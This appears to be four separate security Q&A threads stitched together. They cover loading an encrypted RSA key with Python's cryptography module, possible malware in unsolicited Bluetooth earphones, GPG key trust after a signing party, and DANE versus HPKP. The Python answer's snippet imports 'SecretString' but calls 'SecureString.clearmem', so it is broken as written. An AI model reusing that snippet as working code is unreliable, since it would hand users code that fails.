You can see from the snippet that I have working solution using the pycrypto module, but this module has not been updated in 5 years now. The code that uses cryptography fails with the aforementioned error.

I know there is load_public_ssh_key deserialization function, but this seems to operate on decrypted keys, hence my choice of load_pem_private_key.

Is it possible to load both private/public keys with the cryptography module?

Like any beginner, I made this more complicated that it needed to be, and didn't read the documentation properly.

The key must be read as bytes ('rb'), and the passphrase must also be bytes-like, as per the documentation.

import SecretString
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives.serialization import load_ssh_public_key, load_pem_private_key
from cryptography.hazmat.primitives.serialization import Encoding
from cryptography.hazmat.primitives.serialization import PublicFormat

def importPrivateKey(private_key,passphrase):
  """
  Imports the private key in an RSA object and generates the hash.
  """
  with open(private_key,'rb') as private_key_file:
    key = load_pem_private_key(private_key_file.read(),
                               password=passphrase.encode(),
                               backend=default_backend())

  public_key = key.public_key()

  print(public_key.public_bytes(Encoding.OpenSSH,PublicFormat.OpenSSH))
  SecureString.clearmem(passphrase)

  return key


Can Bluetooth "headphones" be malicious? I received a parcel from Amazon which I did not order, addressed to me. It contained Bluetooth earphones. It may just be part of a brushing scam, but it's got me curious.

So my question is.. Could a Bluetooth device be disguised as earphones and actually contain malware?

When attempting to connect my phone it appears as an audio device but prompts me to "Allow access to contacts and call history".

Yes. I heard of pieces of art with passive antennae in it, and a pair of earphones is just a small computer so that could easily do anything a computer can: run exploits against your Bluetooth/WiFi controller or software, attack WiFi networks in the neighbourhood, indeed grab your contacts or try to initiate file transfers with malware, record with a hidden microphone and send audio via mobile data, GPS tracking... heck, it could record and transmit some low bandwidth data via some Bluetooth side-channel. Theoretically.

Practically, I never heard of such a thing. Which would be exactly why the secret services might do it: nobody suspects anything. But that doesn't mean it's likely. Things like mobile data connections would be measurable and the chips, if you know what to look for, probably identifiable. Attacking WiFi/Bluetooth is definitely visible in packet captures. GPS tracking also requires a data connection such that the attacker can actually receive the data (live, at least; recording is always an option).

Unless you have reason to suspect otherwise, this is probably not a pair of trojan headphones.


GPG key trust after a signing party I might be totally misunderstanding the concept of web-of-trust, but imagine the following scenario: I generate my key, then go to a key signing party, and after, I import all the keys which fingerprint I have verified, and sign those. Now, this will make all those keys fully valid, but the default trust for each key will still be set to the default, i.e. "unknown". Which means that if I now import a new key, even if this new key has enough (*) signatures from those, it still won't be considered valid, because none of those keys is trusted.

Which means that for key signing parties to have some usefulness, we must set those keys' trust to at least marginally trusted. Right? Or am I making some mistake somewhere in my reasoning?

(*) - In GPG's default security model, i.e. one sig from a fully trusted key, or 3 from marginally trusted keys.

A (slightly) simplified way to think of it is:

1) You sign someone's key to say "I assert that this key belongs to the person identified".

2) You assign trust to someone's key to say "I believe this person is responsible enough to do number 1 well".

#1 is a public statement from you (your key) to the world.  #2 is a private note in your own GPG setup.

The two don't necessarily go together.  If you think someone makes terrible signatures (for example, doesn't check sufficiently before signing), then you may still sign their key (after all, you're not making a statement as to their reliability, just as to their identity), but you probably wouldn't want to assign trust to their key.  In other words, you believe their key belongs to them, but you don't "trust" them to make good signatures on other people's keys.

At a keysigning party, it's quite common to be able to sign someone's key (you check some ID, verify their email address works via a cookie, and so on), but yet have no idea if the person is worth trusting to sign someone else's key.  After all, in many cases, you've never even met them before.


Is DANE the DNS-variant of HTTP Public Key Pinning (HPKP)? I’m trying to understand DANE and TLSA records more accurately. Is it fair to call DANE the DNS-variant of (or at least a very similar technique to) HTTP Public Key Pinning (HPKP)?

Because with HPKP a SSL certificate can be pinned using a HTTP header and using DANE a certificate can be kind of “pinned” on the DNS-level, right?

While both DANE/TLSA and HPKP are somehow related to validation of the server using public keys or certificates, they address different aspects of the validation. This means DANE can not not considered the DNS equivalent of HPKP.

HPKP cares about future connections to the site.It specifies which keys will be expected in the future and thus makes it possible for the client to do pinning and protect against future man in the middle attacks which use certificates issued by a trusted but compromised CA (like in case of DigiNotar). It thus adds additional protection to the current PKI  (with a trust store in each client) and does not work without it.
DANE/TLSA cares about the current connection.It specifies which keys/certificates should be used for the current connection. It can thus work as a replacement to the current PKI. Essentially it moves the trust from the current PKI to trust into DNSSec (which is essentially a different PKI).

From the perspective of the owner of the site HPKP allows to only add additional restrictions in order to harden the current PKI system. The owner still needs to get a certificate from a trusted CA. DANE/TLSA instead allows the owner to fully control the validation process (instead of only a small aspect of it) as long as the client trusts the PKI behind DNSSec and the domain is protected by DNSSec.